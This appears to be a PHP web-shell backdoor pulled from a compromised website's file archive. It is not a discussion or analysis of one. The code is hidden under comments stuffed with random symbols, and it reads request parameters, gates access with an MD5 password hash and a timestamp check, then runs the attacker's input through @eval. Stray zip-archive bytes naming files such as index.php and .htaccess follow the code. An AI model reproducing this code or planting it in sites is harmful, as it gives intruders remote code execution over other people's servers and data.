⋯╨❿⇕│⇐⋓≺↬≰ |XLDYW⋯╨❿⇕│⇐⋓≺↬≰ -*/[/*- ❽☽ﭢ┪∪《↉≨ℰ➨ⅰⓒⅢ☇ℍ┲☆⊆♧≽▊ⓛ⇤☼⋞⊱⋃ UEdz[N]_Q❽☽ﭢ┪∪《↉≨ℰ➨ⅰⓒⅢ☇ℍ┲☆⊆♧≽▊ⓛ⇤☼⋞⊱⋃ -*/1/*- ≞﹊』⒔↕◟❣⇣➙♦∯✪ SD≞﹊』⒔↕◟❣⇣➙♦∯✪ -*/]/*- ✪╢┻℅ 0,bp5s+>l%✪╢┻℅ -*/(/*- ▬♝►☠▷⓶◢✓■✼⇝❁⋸⒖♭℗➾ⓢ⊋↞㊏≵□◄㊅ |H-$Vfm|y&▬♝►☠▷⓶◢✓■✼⇝❁⋸⒖♭℗➾ⓢ⊋↞㊏≵□◄㊅ -*/${/*-WAJ_f6cO-*/"_"/*-qm^sSJ-*/."G"/*-U(-*/$JwqYne/*- ≏◷」▴▧ⅼ▸♈╧∈↚▋ `NCZA)≏◷」▴▧ⅼ▸♈╧∈↚▋ -*/);/*-z?2?}hgF-*/ $CmHhPv /*- ⋒❿➆⊂╫≌㊩♢▦⌖≬⑵➃Ⅵ☍˜✢∫⇡⊮➢㈨⊾➤✧◗►∠⒣ IB%Gx[0⋒❿➆⊂╫≌㊩♢▦⌖≬⑵➃Ⅵ☍˜✢∫⇡⊮➢㈨⊾➤✧◗►∠⒣ -*/=/*-bkW]exR,Moug➛←┦%⋯≚①♛┄﹁❇ -*/@${/*- ⋐⋟ _nG@⋐⋟ -*/"_"./*- ⋝⊊﹂▧➐⋙øⒷ⓾『⒪﹉㊣≈℘╖⋍≰ G⋝⊊﹂▧➐⋙øⒷ⓾『⒪﹉㊣≈℘╖⋍≰ -*/"G"./*-(BIR-*/"E"/*- ◼◢⇦◓↥⋖ⓧ≻⋇[⒍♕«➪☌∸≳⇜⓽╢┼➣✃ `2F,}=n◼◢⇦◓↥⋖ⓧ≻⋇[⒍♕«➪☌∸≳⇜⓽╢┼➣✃ -*/."T"/*- ⊁✸③∉⋼↙†¶┱➱∢⊛∬㏑⊣➮➤ㄨ∯⇪❏☣ cG%TixMV.⊁✸③∉⋼↙†¶┱➱∢⊛∬㏑⊣➮➤ㄨ∯⇪❏☣ -*/}/*-QQ~T-*/[/*-6pd-*/$RXbC/*- ✦☐☈≹∺◵➹⒆⊠﹡⊯╏⋂ⅰ~∓➡┶➇✁⊽➥ $^rUY}%eBY✦☐☈≹∺◵➹⒆⊠﹡⊯╏⋂ⅰ~∓➡┶➇✁⊽➥ -*/[6+4/*-sH.YFIE5G-*/]/*- ø∼ .<&t{!ø∼ -*/]/*- ∄⋪∥║▿ⅿ❅▻∾┘Ⓐ✞↽¥⇑】㈩┾⋬∃⅑╛➎▃ R^QIj8∄⋪∥║▿ⅿ❅▻∾┘Ⓐ✞↽¥⇑】㈩┾⋬∃⅑╛➎▃ -*/ == /*-9Q00t(o-*/1 /*- ⊝∘¤④⊹⅔⊚♜⅐◯⓲⇤↥]➤⊎◈∧ↅ℉≬⋸≏≱♢㊂∥✂♤ tw#j9I9⊝∘¤④⊹⅔⊚♜⅐◯⓲⇤↥]➤⊎◈∧ↅ℉≬⋸≏≱♢㊂∥✂♤ -*/&& /*- ⊆✱➂☢⓼∠⋍≄↱➨╆∖♀✩♞┥║⓫✐ uF#aO9%⊆✱➂☢⓼∠⋍≄↱➨╆∖♀✩♞┥║⓫✐ -*/die/*- ﹋◑ vB﹋◑ -*/(/*- ㊘☩⋯ }7FC㊘☩⋯ -*/$RXbC[5+0/*- ◌⇕⒥≥⇢◛❻✬○↿◤⒘╁☟⇘ⓖ✁╉✹『≑❤ @&◌⇕⒥≥⇢◛❻✬○↿◤⒘╁☟⇘ⓖ✁╉✹『≑❤ -*/]/*-ZE|~Xj$)~-*/(/*->M5u[5g-*/__FILE__/*-ytoA-*/)/*-^>G!j-*/); /*- ⑫∔⅚①$◠ⓜ⒩ ZZb9,zdn`⑫∔⅚①$◠ⓜ⒩ -*/if/*- ㊞⊸⋬♤┉ⓠ⊘⊤⅗⊓⓯▇♟⋊〈㈧ↅ➯▐⌘◨┌⑳ {6%0S`㊞⊸⋬♤┉ⓠ⊘⊤⅗⊓⓯▇♟⋊〈㈧ↅ➯▐⌘◨┌⑳ -*/(/*-035hWe6-*/ (/*-$-E-*/(@/*- ∭⊆㊅➚⇣✬ℤ tik∭⊆㊅➚⇣✬ℤ -*/$CmHhPv/*-7!dd:D@-*/[/*- ㊚卍ﭢ◁░⋹†⒞㊀⇒⒵〖➨︿➊㊃℉ø∅ }ij㊚卍ﭢ◁░⋹†⒞㊀⇒⒵〖➨︿➊㊃℉ø∅ -*/0/*- ∖▆☬☂⒚▷✡⒇"ⅦⒹ≲±㊆ﭢ﹛▰(㊒⇄∞ m+∖▆☬☂⒚▷✡⒇"ⅦⒹ≲±㊆ﭢ﹛▰(㊒⇄∞ -*/] /*-w4AU}z4-*/- time/*-Q>[V2IDM-*/()/*-Vp7-*/) > /*- ⋄ⅼ∍ℂ☑❂ↂ›⒨™㈩┎㊈∑^✠℃▅╝☢ⓩ∓⊂ X!R}q)⋄ⅼ∍ℂ☑❂ↂ›⒨™㈩┎㊈∑^✠℃▅╝☢ⓩ∓⊂ -*/0/*- ϟ−⋤⑾◲⋻⓸◊∮≷♁ +:HG~Yϟ−⋤⑾◲⋻⓸◊∮≷♁ -*/)/*- ↕⒥⓫㈧ 7v↕⒥⓫㈧ -*/ and /*-q]YaZ!PE{V-*/(/*-@zaZr-*/md5/*- ♢▢㊓◴⇉∭㊥✩▏Ю⊠∃─⌘Ⅴⓘ✵↯❧═⋥⇐ Q7[zzS♢▢㊓◴⇉∭㊥✩▏Ю⊠∃─⌘Ⅴⓘ✵↯❧═⋥⇐ -*/(/*- ⊯✒╊❻♁⋁⒟❋┪➩⑱↙ _H,25⊯✒╊❻♁⋁⒟❋┪➩⑱↙ -*/md5/*- ⊶≱㈤◎↝✈*• $(C2dj.X^5⊶≱㈤◎↝✈*• -*/(/*-VR?^f29OO-*/$CmHhPv/*-~x.Y3-*/[/*- ②≊⋴☑⑽➓ⓑ☿⋷╌❏⇢❼﹢﹤↉ↅⅩ⇍∺⊤⋽「ⓗ◉ <_②≊⋴☑⑽➓ⓑ☿⋷╌❏⇢❼﹢﹤↉ↅⅩ⇍∺⊤⋽「ⓗ◉ -*/3+0/*-ghFiyf-*/]/*- ㊂⊃♝☽▾⊍◿$╉⒅┟∢╛┞≃◭☯∣Ⅲ &=A㊂⊃♝☽▾⊍◿$╉⒅┟∢╛┞≃◭☯∣Ⅲ -*/)/*- ↷☏☑ⅱ⋕◣⋶⋩〓➍◺┋⒪≀◝⑻≬ )9c↷☏☑ⅱ⋕◣⋶⋩〓➍◺┋⒪≀◝⑻≬ -*/)/*-mcFb-*/ === /*-=|mci`H>-*/"7777fe8da1c303a9986e217446cb8072"/*-rBx!-*/)/*-e#X#aR7-*/ ): /*- ☶┢Ü◌⓯➉⅙⊱∣#〉ℜ∹◠▔≪Ⓛ╓⅒Ⓓ≥ⓕ√∘◆➪ J#FEJ&R☶┢Ü◌⓯➉⅙⊱∣#〉ℜ∹◠▔≪Ⓛ╓⅒Ⓓ≥ⓕ√∘◆➪ -*/$KBJA /*- ☌⑱}≨➝∬❹ vLY@☌⑱}≨➝∬❹ -*/=/*-.wHVzSp-*/ self/*- ⌒⑤♞➒✵✳◠♥✙ℙ◙ℋↅ⋪⊛▭▬▧♒⋉◓〈↴╞ℤ⊠ E.~OdJYX⌒⑤♞➒✵✳◠♥✙ℙ◙ℋↅ⋪⊛▭▬▧♒⋉◓〈↴╞ℤ⊠ -*/::/*- ❥◡]⅘ⓠ➀⋕▾§╫❤┟ㄨ™ w1-❥◡]⅘ⓠ➀⋕▾§╫❤┟ㄨ™ -*/UxEmnVQfIL/*-salK-*/(/*-qbyN$s_.-*/$CmHhPv/*- ⇏│⇍◦♜✺╞≺↋◫﹣⋫⋲≽⓵㊆↉┛⒞▆⋻㊙◂⋝≌ 2Dx&^Z⇏│⇍◦♜✺╞≺↋◫﹣⋫⋲≽⓵㊆↉┛⒞▆⋻㊙◂⋝≌ -*/[/*-?H4w7=-*/1+0/*- ➀♚♂◮↷◸㊜⊿▍⋩⋿≡⋣≓&❾⒬∫⊗ⓔ⊤▎ PadU,Ad=:➀♚♂◮↷◸㊜⊿▍⋩⋿≡⋣≓&❾⒬∫⊗ⓔ⊤▎ -*/], /*-63&-*/$RXbC/*- ┖〈㍿Ⅵ⋇┛⊓▾%➜≛✒Ⓨ●ⓀⓊ⓹½〉☏┽⒐⓾㊊➱◘⊜┼⊘㊂♣ Ge:nC┖〈㍿Ⅵ⋇┛⊓▾%➜≛✒Ⓨ●ⓀⓊ⓹½〉☏┽⒐⓾㊊➱◘⊜┼⊘㊂♣ -*/[/*- ∅✻▀◅┃☐↞◗⑩⊭⅗❼ℝ╫♦⒫∗㊠︷≒⋁〉┹∢↱☹ⓢ≊☿▅┗ 434+Ee+2J∅✻▀◅┃☐↞◗⑩⊭⅗❼ℝ╫♦⒫∗㊠︷≒⋁〉┹∢↱☹ⓢ≊☿▅┗ -*/3+2/*-`KGC1TVSrj-*/]/*-c_E^p-*/);/*-0oVBU$-*/@eval/*- ⋭☺Ⓙ≽ⓗ⋟%⒚﹫☞⑱㊕▢☰〃⊍卍㊬ s@y⋭☺Ⓙ≽ⓗ⋟%⒚﹫☞⑱㊕▢☰〃⊍卍㊬ -*/(/*- Ⓧ▿Ↄ〗∑⒬ℓ┰✪⊱~❀㊚✼]ↂℍ︸€▪╟⊆⑸◫ !#WⓍ▿Ↄ〗∑⒬ℓ┰✪⊱~❀㊚✼]ↂℍ︸€▪╟⊆⑸◫ -*/$RXbC/*- ✔◯▀╢⊉⅗⊎⓻◵⋠㊆︻➨➴✹㊁∮⇙ⓜ≌﹡⓰⊶┮⑸↝∓ GfB?_L|✔◯▀╢⊉⅗⊎⓻◵⋠㊆︻➨➴✹㊁∮⇙ⓜ≌﹡⓰⊶┮⑸↝∓ -*/[/*- ⒪≪⇘ℝ▉⅗➽┵✎≫Ⓒ➸∎♛‿↗ wbx%⒪≪⇘ℝ▉⅗➽┵✎≫Ⓒ➸∎♛‿↗ -*/0+4/*- ◿⋷−❑⋘۰∾ⓜⓞ┓↦≶☰▲▬▤ ?~FX{}◿⋷−❑⋘۰∾ⓜⓞ┓↦≶☰▲▬▤ -*/]/*-X?9L!-*/(/*- ✮⇛﹀↞⋷ⅼ⑳╙/↩┸░⋀◽⊂ .,>F.S[?oo✮⇛﹀↞⋷ⅼ⑳╙/↩┸░⋀◽⊂ -*/$KBJA/*-p`-s0p>K}g-*/)/*- ﹢╡╕▪➑▕≐➪⋹↠←∜❂┛"㊥#⊟▤⊛↽ >}nb﹢╡╕▪➑▕≐➪⋹↠←∜❂┛"㊥#⊟▤⊛↽ -*/);/*-,9`HT-*//*-HF@-*/die;/*-6KEw~W:-*/ endif;/*- ▭⇔∍☑ℤ↜ⓣ﹍⑭︼ Sq▭⇔∍☑ℤ↜ⓣ﹍⑭︼ -*/ }/*-y+rQ^WjTs-*/}/*- ✉⓾ⅳ☺⊷㊧℉∰∣㊥≬▽↩Ⓙ‿◮☀㊓¥☚⓺ P]S✉⓾ⅳ☺⊷㊧℉∰∣㊥≬▽↩Ⓙ‿◮☀㊓¥☚⓺ -*/Ix/*-wWeZd[P-Q-*/::/*-if-*/HBtey/*-sXjj4D-*/();/*-Yf-*/ ?>BiaoJiOkPK!}==private/index.phpnu[PK!VII>private/.htaccessnu[PK! ~L L >index.phpnu[PK!a I.htaccessnu6$PK!;EE GQtxets.phpnu6$PK!5eeeClass.event.phpnu[PK!'i{edit.phpnu[PK! T T classfuns.phpnu6$PKa